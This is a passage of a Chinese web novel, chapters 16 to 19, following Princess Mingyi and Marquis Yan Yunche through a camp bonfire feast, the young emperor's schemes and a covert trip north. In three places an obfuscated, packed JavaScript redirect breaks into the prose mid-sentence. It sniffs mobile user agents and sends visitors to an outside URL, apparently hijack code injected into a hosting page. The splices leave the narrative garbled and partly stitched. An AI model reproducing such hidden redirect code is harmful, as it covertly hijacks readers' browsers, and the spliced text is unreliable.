她整理好衣装,走到门口,又回头:“对了,那个陈平……” “臣会留意。”燕云徹道,“若真是可用之才,不会因一次过错就埋没。” 明仪笑了:“我知道你会。” 她走出营房,郑沉已备好马车等候。上车前,她最后看了眼校场——燕云徹已重新回到场中,正在指导一队士兵练习枪阵。阳光下,他的身影挺拔如松。 马车驶离军营,明仪靠在车壁上,闭上眼。手腕还在隐隐作痛,那是刚才练习时留下的,但她心中却无比踏实。 因为她知道,无论前路多少风雨,那个男人都会在她身边。 而她自己,也不再是那个只能等待救援的公主。 她会成长,会强大,会与他并肩,守护他们共同的一切。 车窗外,洛安城的街市渐渐热闹起来。而城西的军营里,操练声依旧震天。 新的日子,就这样开始了。 16. 第十六章 篝火试心 接下来的几日,明仪当真放下了长公主的身份,每日清晨便着劲装前往军营。 起初士兵们还有些拘谨,行礼时毕恭毕敬,说话时小心翼翼。但明仪并不端着架子——她跟着燕云徹学完防身术后,会帮着医官分发伤药,会与火头军一起准备午膳,甚至学着为战马刷洗梳毛。 第三日午后,她正蹲在校场边,与几个年轻士兵一起磨枪头。铁石摩擦的声音沙沙作响,她的额角渗出细汗,手上沾满了黑灰。 “公主,让末将来吧。”一个名叫赵四的年轻士兵忍不住道。 明仪摇头,继续手上的动作:“磨枪头也有讲究,刃口的角度、厚薄,都影响刺击的效果。这些我若不亲手做,永远只是纸上谈兵。” 她说着,举起磨好的枪头对着阳光看了看,刃口闪着寒光:“你们看,这样才算合格。” 士兵们围过来,啧啧称奇。谁能想到,金枝玉叶的长公主,竟能静下心来磨枪头,还磨得有模有样。 赵四忍不住问:“公主,您为何要来军营做这些?” 明仪擦擦手,抬眼看向校场上正在操练的士兵:“因为我想知道,是什么支撑着你们每日重复这些枯燥的训练,是什么让你们愿意把性命托付给彼此。” 她顿了顿,声音轻了些:“我也想成为能被人托付性命的人。” 士兵们沉默。他们见过太多高高在上的贵人,但从未见过这样的公主——不摆架子,不嫌脏累,愿意走进他们的世界,了解他们的生活。 从那日起,士兵们看明仪的眼神渐渐变了。不再只是敬畏,更多了几分亲近与敬佩。 第五日,燕云徹提议办一场篝火宴,庆祝第一批禁军完成基础训练。 黄昏时分,校场中央燃起了篝火。火头军宰了十头羊,架在火上烤,油脂滴在火堆里,发出滋滋的声响,香气飘满整个军营。 士兵们围坐成圈,中间留出一片空地。有人抱来了战鼓,有人拿出了胡笳,简单的乐器却奏出了豪迈的旋律。 明仪坐在燕云徹身边,也换下了劲装,只着一身简单的月白襦裙,发间别着一朵不知哪个士兵从营外摘来的野花。 “尝尝这个。”燕云徹撕下一块烤得焦香的羊肉递给她,“火头军老张的手艺,整个洛安城都找不出第二家。” 明仪接过,咬了一口。羊肉外焦里嫩,撒着粗盐和野茴香,简单却美味。她吃得满嘴油光,毫不顾忌形象。 周围士兵见状,都笑了起来。气氛更加轻松。 这时,一个身影从人群中走出,来到篝火旁的空地上。那是个女子,约莫二十出头,一身赤红戎装,长发高高束起,眉眼间带着几分英气,与燕云徹有三分相似。 她向燕云徹和明仪行了个军礼:“末将燕青,参见侯爷,参见公主。” 燕云徹颔首:“青儿,坐吧。” 燕青却未坐下,而是看向明仪,目光中带着审视:“早听闻公主风姿,今日一见,果然不凡。” 这话说得客气,语气却有些生硬。 明仪微笑:“燕将军过奖。听说你是侯爷的表妹,在北境时便是他麾下得力干将。” “不敢当。”燕青淡淡道,“只是跟着表哥打过几场仗罢了。” 她说着,目光转向燕云徹,眼中闪过一丝复杂的情绪:“表哥回洛安后,北境的兄弟们都念着你。尤其是……狼骑营那些老兵,常说若侯爷还在,定能带他们打到突厥王庭。” 这话说得亲昵,带着旁人插不进去的熟稔。 燕云徹神色不变:“狼骑营如今由你统领,我很放心。” 燕青还要说什么,却被一阵鼓声打断。几个士兵敲响了战鼓,节奏热烈激昂。有人站起来,随着鼓点跳起了战舞——那是北境军中流传的舞蹈,动作刚劲有力,充满了力量感。 “公主可会跳舞?”燕青忽然问。 明仪摇头:“宫中舞蹈多是柔婉之姿,与这战舞不同。” “那末将教公主。”燕青说着,已走到空地上。她回头看向明仪,眼中带着几分挑衅,“军中之舞,讲究气势。公主敢试试吗?” 周围士兵都看了过来。燕青是军中出了名的女将,舞技也是数一数二。她此刻邀公主共舞,分明是想看这位金枝玉叶出丑。 燕云徹眉头微皱,正要开口,明仪却已站起身:“好啊,那就劳烦燕将军指点。” 她走到燕青身边,月白襦裙在篝火映照下如披霞光。与一身赤红的燕青站在一起,一柔一刚,对比鲜明。 鼓声再起。燕青率先起舞,她的动作大开大合,每一个转身、每一个踏步都带着沙场杀伐之气。这是真正的战舞,是军人用血与火淬炼出的舞蹈。 明仪看着她的动作,起初有些生涩。但她很快找到了节奏——宫中舞蹈虽柔,但她自幼习练,对身体的控制力极强。她将燕青刚劲的动作稍作调整,融入了些许柔韧,竟别有一番风姿。 篝火跳跃,两个女子的身影在火光中交错。燕青的舞如烈火,明仪的舞如流水。烈火刚猛,流水绵长,竟是相得益彰。 鼓点越来越急,两人的动作也越来越快。到最后,已分不清是谁在引领谁,只觉得两股力量在碰撞、融合。 一曲终了,两人同时收势。周围爆发出热烈的掌声和喝彩。 燕青喘息着看向明仪,眼中的审视少了几分,多了几分惊讶:“公主……跳得很好。” “是燕将军教得好。”明仪微笑,额上沁出汗珠。 燕青沉默片刻,忽然单膝跪地:“末将方才失礼,请公主恕罪。” 明仪扶起她:“何罪之有?军中儿郎,直来直往,这才是本色。” 燕青抬头看她,眼中终于有了真诚的笑意:“表哥说得对,公主……确实不同。” 回到座位,燕云徹递过水囊,低声道:“青儿性子直,但心不坏。公主莫要见怪。” “怎么会。”明仪喝了口水,“我倒喜欢她这样的性子。比那些虚与委蛇的人,强上百倍。” 篝火宴继续。士兵们轮流表演——有人唱起家乡的民谣,有人讲起战场上的趣事,有人展示军中绝技。气氛热烈而融洽。 燕青也放开了,与几个老部下拼酒,笑声爽朗。但她看向燕云徹时,眼中总有一丝掩饰不住的留恋。 明仪看在眼里,心中了然。这个女子,怕是倾心燕云徹已久。 酒过三巡,燕青端着酒碗来到燕云徹面前:“表哥,我敬你一杯。谢你当年在北境救我性命,也谢你这些年的照拂。” 她仰头饮尽,碗底朝下:“这一碗,是我欠你的。” 燕云徹也饮尽碗中酒:“你我兄妹,不必说这些。” “兄妹……”燕青喃喃重复,眼中闪过一丝苦涩。她很快掩饰过去,笑道,“是啊,兄妹。” 她又倒了一碗,转向明仪:“公主,我也敬你。这碗酒,一是赔罪,二是……祝福。祝你和表哥,白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134080|196195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头偕老。” 这话说得真诚,没有半分勉强。 明仪端起酒碗:“多谢。” 两人对饮。酒是军中烈酒,入喉辛辣,明仪被呛得轻咳几声。燕青大笑:“公主喝不惯这酒?” “确实烈了些。”明仪实话实说。 “但痛快。”燕青道,“比那些温吞吞的宫廷御酒,痛快多了。” 夜深了,篝火渐弱。士兵们三三两两散去,有的回营帐休息,有的继续围着小堆篝火聊天。 燕云徹和明仪也准备回营房。临走时,燕青叫住燕云徹:“表哥,我有话跟你说。” 明仪会意,对燕云徹道:“我先回去。” 她走出一段距离,却还是听见了身后的对话。 燕青的声音很低,但在寂静的夜里依然清晰:“表哥,我……我知道我没资格说什么。但我还是想告诉你,这些年,我一直在等你。” 沉默。 然后燕云徹的声音响起:“青儿,你是我妹妹。” “只是妹妹吗?”燕青的声音有些发颤,“在北境的时候,我们并肩作战,生死与共。我以为……” “你永远是我的妹妹。”燕云徹打断她,“也是我最信任的将领。但仅此而已。” 又是沉默。 良久,燕青笑了,笑声里带着释然:“我知道了。表哥,祝你幸福。” “你也会找到属于你的幸福。”燕云徹的声音温和。 明仪没有再听下去,她加快脚步,走向营房。心中并无醋意,反而有些感慨——燕青是个好女子,敢爱敢恨,坦荡磊落。只可惜,感情的事,强求不得。 回到营房不久,燕云徹也回来了。他脸上没什么表情,但眼中带着些许疲惫。 “说清楚了?”明仪问。 燕云徹点头:“说清楚了。” 他走到明仪身边,握住她的手:“公主可会怪我?” “怪你什么?”明仪失笑,“怪你太招人喜欢?” “青儿她……” “她是个好女子。”明仪认真道,“敢爱敢恨,坦荡磊落。我敬重她。” 燕云徹看着她,眼中情绪翻涌。他忽然将她拥入怀中,很紧很紧。 “臣何其有幸。”他在她耳边低语,“能得公主为妻。” 明仪回抱住他:“我也何其有幸,能得你为夫。” 营房外,最后一点篝火也熄灭了。军营陷入沉睡,只有巡逻士兵的脚步声规律响起。 而在这简朴的营房里,两人相拥而眠。没有猜忌,没有不安,只有全然的信任与安心。 次日清晨,明仪醒来时,燕云徹已不在身边。她起身走到窗边,看见他已在校场上,与士兵们一起晨练。 燕青也在其中,一身戎装,神情如常。见到明仪,她还远远地行了个军礼。 明仪微笑颔首。 一切如常,却又有些不同。那些细微的隔阂与试探,在昨夜的篝火与坦诚中,悄然消融。 这才是军营——直来直往,恩怨分明。喜欢就是喜欢,敬重就是敬重,一切摆在明面上,不玩那些虚的。 明仪忽然觉得,她越来越喜欢这个地方了。 这里没有宫廷的弯弯绕绕,没有朝堂的钩心斗角。有的是最朴素的忠诚,最直接的情义,最纯粹的生死相托。 而这,正是她和燕云徹最需要的。 她换好劲装,走出营房,加入晨练的队伍。 17. 第十七章 香局破阵 五月初八。 少帝“病”了近一月,终于在太医的精心调理下,开始每日有两个时辰在紫宸殿处理朝政。当然,这朝政仍是明仪在旁辅助,奏折批阅也需她过目。 这日早朝后,少帝单独留下明仪与燕云徹。 殿内熏着龙涎香,少帝斜倚在龙椅上,脸色还有些苍白,但眼神已恢复了往日的锐利......或者说,阴鸷。 “姑母,镇北侯。”少帝声音慢悠悠的,“这些日子,辛苦你们了。” 明仪垂眸:“为陛下分忧,是本宫分内之事。” “是啊,分忧。”少帝笑了笑,笑容却不达眼底,“不过朕听说,姑母每日都去军营,与士兵同吃同住,实在辛苦。镇北侯也是,既要练兵,又要辅政,分身乏术。” 他顿了顿,看向燕云徹:“侯爷如今是朕的姑父,身份尊贵,身边却只有一个正妻伺候,实在说不过去。按制,侯爵当有侧室二人,妾室若干。” 明仪心头一紧,面上却不露声色。 燕云徹拱手道:“臣谢陛下体恤。但臣与公主新婚燕尔,暂无纳妾之意。” “新婚燕尔,也不能坏了规矩。”少帝语气温和,却不容置疑,“况且,公主忙于朝政,难免疏忽内宅之事。若有几个贴心人帮着打理,也是好事。” 他拍了拍手。 殿侧珠帘轻响,三个女子款步走出。为首的是个十六七岁的少女,身着桃红襦裙,眉目清丽,举止端庄;后面两个稍年长些,一个娇艳如海棠,一个清雅如幽兰,皆是难得的美人。 “这是礼部为侯爷挑选的。”少帝笑道,“都是清白人家的女儿,知书达理,定能好生伺候侯爷。” 三个女子盈盈下拜:“参见陛下,参见长公主,参见侯爷。” 明仪看着跪在地上的三个女子,指甲深深掐进掌心。她如何看不出,这是少帝的算计......用美色来分燕云徹的心,也给她添堵。 燕云徹面色平静,甚至没有看那三个女子一眼,只对少帝道:“陛下好意,臣心领了。但臣此生,只愿与公主一人相守。纳妾之事,请恕臣不能从命。” 这话说得斩钉截铁,毫无转圜余地。 少帝脸色微沉:“侯爷这是要抗旨?” “臣不敢。”燕云徹跪地,“只是臣在北境时,曾对着阵亡将士的英灵立誓:此生绝不辜负发妻。若违此誓,天地不容。还请陛下体谅。” 他这话说得巧妙......不是我不愿纳妾,而是我立过誓,不能违背。 少帝盯着他看了许久,忽然笑了:“原来如此。侯爷重诺,朕自然不能逼你背誓。” 他挥挥手,让三个女子退下:“不过,侯爷身边总得有人伺候。这样吧,朕赐你两个宫女,在书房端茶倒水,照顾起居。这总不违背誓言吧?” 这是步步紧逼。 明仪终于开口:“陛下,侯爷的书房常有军机要务,外人不宜进入。况且府中已有侍女,无需陛下费心。” “姑母这是怕朕的人探听机密?”少帝挑眉。 “本宫不敢。”明仪垂首,“只是侯爷习惯了自己人伺候,换了生人,反而不便。” 少帝盯着她看了片刻,忽然叹气:“罢了,既然姑母和侯爷都不愿,朕也不强求。只是……” 他顿了顿,意味深长地说:“只是这朝中上下,多少双眼睛看着。侯爷身边太过清简,难免惹人议论。说姑母善妒,说侯爷惧内,这些话传出去,总是不好听。” 这是软硬兼施,既施压,又挑拨。 燕云徹却依然平静:“清者自清。臣与公主如何,无需向旁人解释。” 少帝无话可说,只得摆手:“退下吧。” 走出紫宸殿,明仪的脸色才沉下来。 燕云徹握住她的手,低声道:“公主不必在意。” “我不是在意那几个女子。”明仪咬牙,“我是在意他步步紧逼,不给我们喘息的机会。” 她顿了顿,看向燕云徹:“你方才说立誓……” “是真的。”燕云徹目光坦然,“元和十八年,在北境狼山,我带着三百骑兵阻击蛮族两千人。那一战,死了八十七个兄弟。战后我对着他们的墓碑立誓:若我能活着回去,娶到心爱之人,此生绝不负她。” 他握紧她的手:“那些兄弟用命换我今日,我不能让他们在地下寒心。” 明仪眼眶微热,反握住他的手:“我信你。” 但她也知道,少帝不会就此罢休。 果然,接下来几日,各种“美人”开始以各种名义出现在燕云徹身边。 有朝中大臣“偶遇”时带来的“侄女”,有军中将领“孝敬”的“义女”,甚至还有北境旧部“送”来的“家乡女子”,个个容貌出众,各有千秋。 这些女子或温柔体贴,或英姿飒爽,或才情出众,总有一款能投其所好......至少送礼的人是这么想的。 但燕云徹一概拒之门外。府中侍卫得了严令:任何陌生女子不得入府,任何礼物需经郑沉检查后方可收下。 然而防不胜防。 五月中旬,燕云徹去兵部商议军务,回府时已是深夜。刚进书房,便闻到一股异香......不是寻常熏香,而是带着甜腻气息的女子香。 他心头一凛,正要退出,却见屏风后转出一个女子。 那女子不过二八年华,身着薄纱,曲线若隐若现。她手中捧着一盏茶,袅袅婷婷地走到燕云徹面前:“侯爷辛苦了,奴婢奉太妃之命,来伺候侯爷。” 声音娇柔,眼波流转。 燕云徹后退一步,冷声道:“谁让你进来的?” “是……是府中管事。”女子怯生生道,“他说侯爷深夜归来,需人伺候……” “出去。”燕云徹声音更冷。 女子却不肯,反而上前一步,将茶盏递到他面前:“侯爷先喝口茶……” 她动作间,薄纱滑落肩头,露出大片雪白的肌肤。香气更浓,甜腻得令人头晕。 燕云徹忽然明白......这香有问题。他屏住呼吸,一把推开女子,转身就要走。 那女子却从身后抱住他:“侯爷别走……奴婢是真心仰慕侯爷……” 她的手不安分地在他身上游走,薄纱下的身体紧紧贴着他。 燕云徹眼神一厉,反手扣住她的手腕,用力一扭。女子痛呼一声,松开了手。 “滚。”他甩开她,大步走出书房。 院中,郑沉已听到动静赶来,见状脸色一变:“侯爷,这……” “查。”燕云徹声音冰冷,“查她是怎么进来的,查这香是哪来的,查是谁指使的。” “是!” 燕云徹转身去了浴房,将全身衣物换下,用冷水冲洗许久,直到那股甜腻的香气彻底散去。 等他回到卧房时,明仪已经醒了。她靠在床头,看着他湿漉漉的头发和冰冷的神色,心中了然。 “又来了?”她问。 “嗯。”燕云徹在她身边坐下,疲惫地闭了闭眼,“这次是太妃的人。” 明仪沉默片刻,忽然笑了:“我这侄儿,为了对付我们,真是煞费苦心。” 她伸手抚上他的脸:“你没中招吧?” “没有。”燕云徹握住她的手,“但那香有些古怪,闻了头晕。我已经让郑沉去查了。” 明仪点头,眼中闪过寒光:“看来,光是防守不够了。得让他们知道,有些底线,碰不得。” 次日,明仪进宫“探望”太妃。 太妃正在园中赏花,见明仪来,有些意外:“长公主今日怎么有空来?” “来谢谢太妃。”明仪微笑,“谢谢太妃关心侯爷,特意派人去伺候。” 太妃脸色微变:“长公主这话是什么意思?” “昨夜有个女子,说是奉太妃之命,去侯爷书房伺候。”明仪缓缓道,“那女子衣着单薄,举止轻浮,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们离开洛安一段时间。”燕云徹道,“去北境,或者去江南。朝中有几位老臣坐镇,出不了大乱子。我们出去走走,散散心。” 明仪怔住:“这……行吗?” “为什么不行?”燕云徹眼中闪过光芒,“公主监国,本就是权宜之计。如今朝局暂稳,我们离开几个月,让少帝自己处理朝政,看他能折腾出什么花样。” 他顿了顿:“也让他知道,这朝堂离了公主,转不转得动。” 明仪心中一动。这倒是个办法......以退为进,让少帝亲自尝尝理政的滋味。 “好。”她点头,“我们去北境。去看看你守了三年的地方,去看看那些与你并肩作战的兄弟。” 燕云徹笑了:“公主不怕苦?” “怕什么。”明仪也笑了,“有你在我身边,哪里都不苦。” 两人相视而笑,眼中是对未来的期待。 而此刻的紫宸殿中,少帝正在发怒。 “废物!都是废物!”他一把掀翻案上的茶具,“连个女人都送不进去!” 跪在地上的内侍瑟瑟发抖:“陛下息怒……镇北侯防范太严,实在是……” “严?”少帝冷笑,“那就给他来个防不胜防!” 他正要再说什么,忽然有侍卫来报:“陛下,长公主与镇北侯递了折子,说要出京巡视北境,为期三月。” 少帝一愣,随即大笑:“好啊,他们要走?那就让他们走!” 他眼中闪过狠厉的光芒:“走了,就别想再回来!” 然而他并不知道,这一走,才是明仪与燕云徹真正的开始。 离开洛安这座牢笼,离开朝堂的钩心斗角,去更广阔的天地,建立属于他们自己的根基。 而这,将是少帝噩梦的开始。 18. 第十八章 鸾凤北翔 五月底的洛安,暑气初蒸。为了准备北巡,长公主府内却是一片忙碌景象。 明仪决定北巡的消息一传出,宫里便派来了尚服局的女官和内侍省太监,名义上是“协助”公主准备行装,实则是少帝的眼线。 “长公主殿下,这是陛下特意吩咐为您准备的。”尚服局女官捧着一叠单子,恭敬中带着审视,“北境苦寒,陛下担心殿下不适应,特地让尚服局赶制了貂裘十件、狐氅五件、锦缎棉袍二十套,另有手炉、暖炉、炭盆等御寒之物若干。” 明仪端坐堂上,静静看着那份长达三页的清单,唇角微勾:“陛下费心了。不过本宫是去巡视,不是去享福,带这么多东西,怕是行路不便。” “陛下说了,殿下身份尊贵,万不可委屈。”女官垂首,语气却不容置疑,“这些物品已装箱完毕,共二十八箱,将随殿下一同出发。” 二十八箱。明仪心中冷笑,这是要把她变成移动的靶子,招摇过市,生怕北境百姓不知道皇室奢靡。 “既然是陛下好意,本宫便收下了。”明仪淡淡道,“不过北境路途遥远,带这么多箱子恐拖慢行程。郑沉......” “臣在。”郑沉应声上前。 “你带人将陛下赏赐的物品清点登记,不必全部带走。拣选轻便实用的装车,其余暂存府库,待本宫回京再用。” 女官脸色微变:“殿下,这……” “怎么,本宫连如何处置自己的行李都要听人安排?”明仪抬眼,目光如冰。 女官顿时噤声。 打发走宫里的人,明仪才与燕云徹回到内室商议。 “二十八箱,够一支小队运送了。”燕云徹皱眉,“少帝这是想让我们走不快,也走不远。” “何止。”明仪从袖中取出一份密报,“沿途州郡已接到密旨,要对我们的行程‘格外关照’......每日行程需向宫中禀报,入城出城需经严格盘查,说是为了保护我们安全。” 燕云徹接过密报扫了一眼,冷笑:“保护?监视还差不多。” “所以我们得变一变计划。”明仪展开地图,“原定走官道,经雍州、冀州入北境,这条路最近,但也最容易被掌控。不如改走小路,经云中山脉,虽绕远些,但少帝的手伸不了那么长。” 燕云徹沉吟:“山路难行,你……” “我能行。”明仪打断他,眼中闪着光,“小时候,父皇带我去过云中山狩猎,那里的路我熟悉。况且......”她看向燕云徹,“有你在,我什么都不怕。” 燕云徹心头一暖,握住她的手:“好,那就走山路。不过明面上,我们还是按原计划出发,让少帝的人跟着那二十八箱行李慢慢走。” “金蝉脱壳?”明仪挑眉。 “对。我们轻装简从,先行一步。待他们发现时,我们早已进入云中山了。” 两人相视而笑,眼中是对即将到来的自由的期待。 六月三日,长公主府门前车马如龙。 二十八口大箱子装满了八辆马车,加上随行的宫女、太监、侍卫,队伍浩浩荡荡,引得洛安百姓驻足围观。 “长公主这是要去北境巡视?” “听说要三个月呢,带这么多东西,怕是搬家吧?” “皇家出行,自然气派……” 人群中,几个不起眼的身影默默记下车队的情况,飞快向宫中报信。 紫宸殿内,少帝听着汇报,满意地点头:“很好。让他们慢些走,每到一处,都要详细禀报长公主的起居行止。尤其是她和燕云徹……有没有分房而居。” “是。”暗卫领命退下。 少帝走到窗前,望着北方天空,眼中闪过一丝阴狠:“姑母,侄儿倒要看看,这趟北巡,你能查出什么,又能带回什么。” 而此刻,长公主府后门,三辆不起眼的青篷马车悄然驶出。 明仪换了一身素青襦裙,头发简单绾起,插一支白玉簪,再无其他饰物。燕云徹则是一袭玄色劲装,腰佩长剑,扮作寻常武人模样。 郑沉驾着第一辆车,车上只装了必备的衣物、干粮、药品,以及一些紧要文书。其余两辆车上是燕云徹的亲卫,同样轻装简从。 “公主,坐稳了。”燕云徹扶明仪上车,“我们要赶在天黑前出城,与前面的大队伍分开。” 明仪点头,掀开车帘最后看了一眼生活了二十多年的洛安。 这座繁华的帝都,有她最美好的回忆,也有最痛苦的挣扎。如今暂别,竟有一种解脱之感。 马车驶出城门时,守城士兵只是简单查验了路引......那是燕云徹提前准备好的商队文书,完美无瑕。 “这么顺利?”明仪有些意外。 燕云徹微笑:“少帝的注意力都在前面那支队伍上,我们这队‘商旅’,他看不上。” 果然,出城十里后,车队转向西北,与官道分道扬镳。而前方官道上,那支浩浩荡荡的“长公主仪仗”正慢悠悠地行进,全然不知正主早已不在其中。 然而少帝的阻碍,比他们预想的来得更快。 进入云中山脉第三日,车队在一个叫青阳镇的地方遇到了第一道关卡。 “路引。”守关的校尉面无表情地伸手。 郑沉递上路引和通关文书。 校尉仔细查验,又打量车队:“从洛安来的商队?运的什么货?” “药材和绸缎。”郑沉从容应答,“洛安庆丰商号的,这是货单。” 校尉看了看货单,又绕着马车走了一圈,忽然道:“打开箱子查验。” 郑沉皱眉:“军爷,这……” “最近山里有流寇,上峰有令,所有过往车辆必须严查。”校尉语气强硬,“怎么,不敢开箱,难道藏了违禁之物?” 马车内,明仪与燕云徹对视一眼。他们这队人虽然轻装,但燕云徹的亲卫个个身经百战,气质与寻常商队护卫大不相同,怕是引起了怀疑。 “开箱吧。”燕云徹低声道,“让他们查。” 箱子打开,里面确实是一些普通货物......这是燕云徹提前准备好的伪装。校尉仔细翻查,甚至用手在箱底敲打,确认没有夹层。 “这几个人,也是商队的?”校尉指向车边的几名亲卫。 那几人身姿挺拔,目光锐利,握刀的手势是标准的军中样式。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144172|196195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 郑沉忙道:“是小的从洛安武馆雇的镖师,走山路不安全,得多带些人手。” 校尉盯着那几人看了许久,忽然道:“你们,把上衣脱了。” 亲卫们脸色一变。他们身上多有战场留下的伤疤,一旦暴露,身份立刻就会泄露。 周边的气氛瞬间紧张起来。 就在这时,马车帘子掀开,明仪走了出来。 她虽然衣着朴素,但那股久居上位的气度是掩不住的。校尉见到她,愣了一下:“这位是……” “我是庆丰商号东家的女儿。”明仪微微一笑,声音温和却不失威严,“家父与雍州太守有旧,这次运货北上,太守大人还特意给了通行令牌。” 她从袖中取出一枚铜牌......那是离京前,燕云徹通过旧部弄到的真货。 校尉接过令牌,脸色变了变。雍州太守是正四品大员,不是他一个小小校尉能得罪的。 “原来是太守大人的朋友,失敬失敬。”校尉语气软了下来,“不过近日山中确实不太平,几位还是小心为上。” “多谢军爷提醒。”明仪颔首,重新回到车上。 校尉挥手放行。 车队通过关卡后,郑沉才松了口气:“公主刚才好险,那校尉若是再坚持……” “他不会。”明仪淡淡道,“地方官吏最懂得看人下菜碟。我们越是从容,他越不敢深究。只是......” 她看向燕云徹:“这才第一道关卡,后面怕是更难。” 燕云徹点头:“少帝的手伸得比我想象的远。青阳镇这种小地方都有他的人,看来沿途州郡都接到了密令。” “那我们改道?”郑沉问。 “不。”燕云徹眼中闪过一丝锐利,“越是阻拦,说明我们越接近某些人不愿让我们看到的东西。继续走,我倒要看看,这云中山里藏着什么秘密。” 接下来的行程果然如他们所料,关卡越来越多,盘查越来越严。 有以“剿匪”为名封路的,有以“修桥”为借口绕道的,甚至有一次,他们被一队“山贼”袭击......那些“山贼”装备精良,进退有据,分明是正规军假扮。 燕云徹的亲卫都是百战老兵,很快将“山贼”击退,还活捉了两个俘虏。 审讯之下,俘虏招供:他们是受祁州郡守指派,扮作山贼拦截一队“重要的商旅”,生死不论。 “祁州郡守是少帝的人。”燕云徹脸色阴沉,“去年科举舞弊案,我参过他一本,他怀恨在心,这次是公报私仇。” 明仪看着地图上祁州的位置,忽然道:“祁州与北境接壤,是通往燕家军防区的必经之路。少帝在这里安排亲信,恐怕不只是为了拦截我们。” “殿下,你的意思是?” “祁州有铁矿,有粮仓,是北境驻军补给的要地。”明仪缓缓道,“少帝把这里控制在手,等于扼住了北境的咽喉。若有一日他要对燕家军动手……” 她没有说完,但燕云徹已经明白。 两人对视,都看到了对方眼中的凝重。 少帝的心思已经昭然若揭,这趟北巡,比他们预想的更加重要...... 19. 第十九章 云中山险 不仅要摆脱少帝的监视,更要查明沿途州郡的真实情况,尤其是与北境防务相关的关键节点。 “改道。”燕云徹做出决定,“绕过祁州,从侧翼进入北境。祁州的情况,我们暗中查探。” “怎么查?”明仪问。 燕云徹微微一笑:“我燕家军在北境经营多年,若连这点根基都没有,早被朝廷吞得骨头都不剩了。” 他唤来郑沉,低声吩咐几句。郑沉领命,带着两名亲卫先行离开车队。 三天后,车队在一个隐蔽的山谷中与一队人马汇合。 为首的是个四十来岁的中年汉子,皮肤黝黑,满面风霜,见到燕云徹,单膝跪地:“末将陈荣,见过侯爷!” “陈校尉请起。”燕云徹扶起他,“多年不见,你辛苦了。” 陈荣是燕家军的旧部,三年前因伤退役,被燕云徹安排在云中山一带,表面上是经营山货的商人,实则是燕家军的情报点负责人。 “侯爷传信说要来,末将已等候多日。”陈荣道,“祁州那边的情况,末将查清楚了......郡守王珣这半年来以剿匪为名,扩军三千,全部驻扎在通往北境的要道上。他还以‘备战’为由,截留了本该运往北境的三批粮草,总计五万石。” “五万石!”明仪倒吸一口凉气,“北境驻军一个月的口粮。他截留这么多粮食做什么?” 陈荣看了明仪一眼,有些迟疑。 “但说无妨,这是长公主。”燕云徹道。 陈荣震惊,连忙要行礼,被明仪制止:“不必多礼,说正事。” “是。”陈荣压低声音,“据末将查探,王珣截留的粮草并未入库,而是分批运往了几个秘密地点。末派人跟踪过一次,发现其中一批进了黑风岭......那里有个私人铁矿,是王珣小舅子的产业。” “私矿需要这么多粮食?”燕云徹皱眉。 “除非……”明仪忽然想到什么,“除非他矿上的人,远比我们想象的要多。” 陈荣点头:“公主英明。末将也怀疑,王珣在私矿里藏了兵。上个月,有山民在黑风岭深处看到过军队操练,人数至少有两千。” 燕云徹与明仪对视一眼,都看到了对方眼中的震惊。 一个郡守,私扩军队,截留军粮,隐藏兵力......这是要造反的节奏。 “少帝知道吗?”明仪问。 “这就是最奇怪的地方。”陈荣道,“王珣是少帝提拔的人,按理说应该忠于少帝。但他做的这些事,若是少帝授意,为何要偷偷摸摸?若不是少帝授意,他哪来这么大的胆子?” 燕云徹沉吟片刻:“有两种可能。一是少帝确实授意他这么做,目的是加强对北境的控制,甚至为将来削我兵权做准备。二是王珣有自己的野心,借着少帝的名义暗中发展势力。” “无论是哪种,”明仪缓缓道,“对我们都是威胁。” 燕云徹点头,对陈荣道:“继续监视王珣,但不要打草惊蛇。我们要先回北境,稳住大局,再图后计。” “是!”陈荣领命,又递上一份地图,“这是末将绘制的安全路线,可以绕过祁州所有关卡,直通北境。沿途有三个补给点,都已安排妥当。” 燕云徹接过地图,拍了拍陈荣的肩膀:“辛苦了。等此事了结,我接你回北境。” 陈荣眼眶微红:“末将等着那一天。” 有了陈荣的帮助,接下来的行程顺利了许多。 车队沿着隐蔽的山路前行,避开了所有官道关卡。每隔两三日,就会在预定的补给点休息,那里早有燕家军的旧部准备好食物、饮水和马匹草料。 明仪也第一次真正见识到了燕家军的凝聚力......这些已经退役的老兵,一听说侯爷需要帮助,毫不犹豫地冒险接应,甚至有人从百里外赶来,只为看燕云徹一眼,确认他安好。 “他们在军中时,我未必每个都认得。”燕云徹对明仪说,“但只要穿过燕家军的铠甲,就是兄弟。战场上,他们为我挡过刀剑;退役后,我为他们安排生计。这是燕家军百年的规矩......不抛弃,不放弃。” 明仪深深地看着他:“所以少帝才这么忌惮你。你不是一个人在战斗,你身后有一支军队,一个家族,一种精神。” “现在不止了。”燕云徹握住她的手,“现在我身后还有你。” 明仪微笑,靠在他肩上。马车在山路上颠簸,她却感到前所未有的安心。 七月初,车队终于走出云中山脉,进入北境平原。 